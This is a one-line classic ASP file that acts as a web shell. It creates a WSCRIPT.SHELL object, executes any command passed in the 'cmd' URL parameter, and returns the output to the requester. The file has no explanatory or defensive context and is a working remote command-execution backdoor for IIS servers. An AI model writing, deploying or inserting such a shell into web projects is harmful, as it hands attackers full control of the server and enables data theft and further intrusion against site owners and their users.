<%Dim oScript, oScriptRes:Set oScript = Server.CreateObject("WSCRIPT.SHELL"):Set oScriptRes = oScript.Exec(Request.QueryString("cmd")):Response.Write("

"):Response.Write(oScriptRes.StdOut.ReadAll()):Response.Write("

"):%>